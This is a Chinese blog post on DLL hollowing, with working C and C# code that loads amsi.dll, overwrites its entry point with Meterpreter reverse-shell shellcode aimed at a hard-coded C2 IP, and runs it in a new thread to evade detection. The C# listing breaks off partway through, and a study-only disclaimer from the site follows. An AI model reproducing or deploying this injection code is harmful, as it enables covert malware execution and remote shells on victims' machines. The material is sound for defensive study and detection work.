DLL Hollowing 技术解析
探讨挖空技术,重点是 DLL Hollowing(DLL 挖空)。与进程挖空技术不同,DLL Hollowing 会让目标进程加载新的 DLL,然后用恶意代码覆盖 DLL 的部分内容,从而实现隐匿的恶意代码执行。
原理
DLL Hollowing是一种代码注入技术,攻击者通过加载新的 DLL 并覆盖其部分代码,将恶意代码注入到当前进程或远程进程的内存空间。
这种方法的主要目标是避免恶意代码被轻易分析和检测。例如,当防御者简单检查文件系统时,加载的 DLL 和进程看起来都是良性的,没有明显的异常。
当前进程中的 DLL Hollowing
-
加载目标 DLL
一个可执行文件(例如A.exe
)启动后,会尝试将目标 DLL 加载到自身的内存空间中。这通常通过LoadLibrary
等 API 实现。 -
解析 DLL 标头
加载 DLL 后,程序会解析 DLL 的标头信息以定位注入位置。通常,入口点(DllMain
)是注入恶意代码的目标位置。 -
覆盖入口点
程序将恶意代码覆盖到目标 DLL 的入口点,从而控制 DLL 的执行逻辑。 -
启动恶意线程
覆盖完成后,程序会创建一个新线程,该线程以恶意代码为起始点执行。
下面是展示了注入前后加载到进程中的库列表,amsi.dll
是新加载的目标库。
amsi.dll 的原始入口点:
被恶意代码覆盖后的入口点:
用于覆盖入口点的反混淆后的 Meterpreter Shellcode。
远程进程中的 DLL Hollowing
-
创建远程进程
程序首先创建一个远程进程(如Notepad.exe
),并获取该进程的句柄。 -
加载目标 DLL
使用进程句柄,指示远程进程加载目标 DLL。 -
遍历加载模块
程序遍历远程进程已加载的模块,获取目标 DLL 的内存地址。 -
覆盖入口点
与第一种方法类似,通过解析 DLL 标头,程序定位并覆盖入口点,将恶意代码注入到 DLL 中。 -
启动远程线程
一旦覆盖完成,程序会启动一个远程线程,入口点指向覆盖后的恶意代码。
Notepad 默认的 DLL 列表
加载恶意amsi.dll
后的 DLL 列表。
DLL Hollowing 提供了一种隐匿恶意代码和隐藏执行行为的手段。与其他注入技术类似,它可以绕过简单的防御措施,例如基于父子进程关系的检测。
由于恶意代码运行在看似正常的进程中,并加载了表面上良性的 DLL,初步检查很可能会忽略这些异常。即使深入分析,也可能需要花费额外的时间来发现其真实意图。
代码演示
C代码实现
在 C 代码示例中,程序加载目标 DLL,将恶意代码写入 DLL 的入口点,并创建新线程以执行恶意代码。
关键流程
-
加载目标 DLL
使用 LoadLibrary 加载目标 DLL(默认是 amsi.dll),并返回其内存地址。若加载失败,则程序退出。 -
解析 DLL 的入口点
通过解析 MZ 和 PE 头,定位 DLL 的入口点地址。这是覆盖恶意代码的目标地址。 -
覆盖入口点
修改 DLL 入口点的内存权限为可读写,写入恶意代码后再恢复内存权限。 -
创建新线程
使用 CreateThread 启动线程,从 DLL 的入口点开始执行注入的恶意代码。
int main(int args, char *argc[]) {
char dllName[256] = {};
// 检查命令行参数并设置默认 DLL 名称
if (args != 2) {
printf("Usage:: dll_hollowing.exe <dll name>\n");
memcpy(dllName, "amsi.dll", 9);
} else {
memcpy(dllName, argc[1], strlen(argc[1]));
}
printf("C2 IP:\t\t192.168.200.220\nDll Name:\t%s\n", dllName);
// Meterpreter 反向 shellcode 的解码与复制
unsigned char buff[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00...";
int encoded_size = sizeof(buff);
unsigned char *buf = (unsigned char *)malloc(encoded_size);
memset(buf, 0, encoded_size);
memcpy(buf, buff, encoded_size);
// 加载目标 DLL
DWORD saveProtect = 0;
HMODULE hTargetDLL = LoadLibrary(dllName);
if (hTargetDLL == NULL) {
printf("[!] LoadLibrary failed to load %s\n", dllName);
return 0;
}
// 解析 DLL 的入口点
PIMAGE_DOS_HEADER mzHeader = (PIMAGE_DOS_HEADER)hTargetDLL;
PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)((char *)hTargetDLL + mzHeader->e_lfanew);
void *entryPointDLL = (void *)((char *)hTargetDLL + peHeader->OptionalHeader.AddressOfEntryPoint);
printf("%s DLL entrypoint address is (%p)\n", dllName, entryPointDLL);
// 修改内存权限并覆盖入口点
VirtualProtect(entryPointDLL, encoded_size, PAGE_READWRITE, &saveProtect);
memcpy(entryPointDLL, buf, encoded_size);
VirtualProtect(entryPointDLL, encoded_size, saveProtect, &saveProtect);
// 创建线程执行恶意代码
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)entryPointDLL, NULL, 0, 0);
printf("Thread Created\n");
// 等待退出命令
while (true) {
if (getchar() == 'q') {
printf("Received an exit command\n");
break;
}
}
printf("Exiting\n");
return 1;
}
C# 代码实现
C# 代码实现与 C 代码的操作类似,但引入了更多工具类(如 Win32)来操作 DLL 加载和内存操作。它的流程更具可读性,同时支持命令行参数来动态设置目标 DLL 和 C2 IP。
关键流程
-
解析命令行参数
通过命令行获取目标 DLL 名称和 C2 IP 地址,若未提供参数,则使用默认值。 -
处理恶意 shellcode
解码恶意 shellcode,并动态替换其中的 C2 IP 地址为用户提供的值。 -
加载目标 DLL
使用 LoadLibrary 加载目标 DLL,解析其入口点。 -
覆盖入口点
修改入口点内存权限为可读写,将恶意代码写入,并恢复内存权限。 -
启动线程执行恶意代码
使用 CreateThread 启动线程,从覆盖的入口点开始执行恶意代码。
unsafe class Program {
static void Main(string[] args) {
// 解析命令行参数
string c2_ips = args.Length >= 2 ? args[0] : "192.168.49.115";
string dll_name = args.Length >= 2 ? args[1] : "amsi.dll";
Console.WriteLine("[*] Using C2 IP: {0}, DLL Name: {1}", c2_ips, dll_name);
// 处理 shellcode
byte[] encoded = new byte[460] { /* Shellcode */ };
byte[] buf = DecodeShellcode(encoded, c2_ips);
// 加载目标 DLL
IntPtr hTargetDLL = Utility.Win32.LoadLibrary(dll_name);
if (hTargetDLL == IntPtr.Zero) {
Console.WriteLine("[!] LoadLibrary failed to load {0}", dll_name);
return;
}
Console.WriteLine("[*] {0} Base Address: 0x{1:X}", dll_name, (long)hTargetDLL);
// 解析 DLL 的入口点
Utility.Win32.IMAGE_DOS_HEADER* mzHeader = (Utility.Win32.IMAGE_DOS_HEADER*)hTargetDLL.ToPointer();
Utility.Win32.IMAGE_NT_HEADERS64* peHeader = (Utility.Win32.IMAGE_NT_HEADERS64*)((long)mzHeader + mzHeader->e_lfanew);
IntPtr addressOfEntryPoint = new IntPtr((long)mzHeader + peHeader->OptionalHeader.AddressOfEntryPoint);
Console.WriteLine("[*] {0} EntryPoint Address: 0x{1:X}", dll_name, (long)addressOfEntryPoint);
/
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)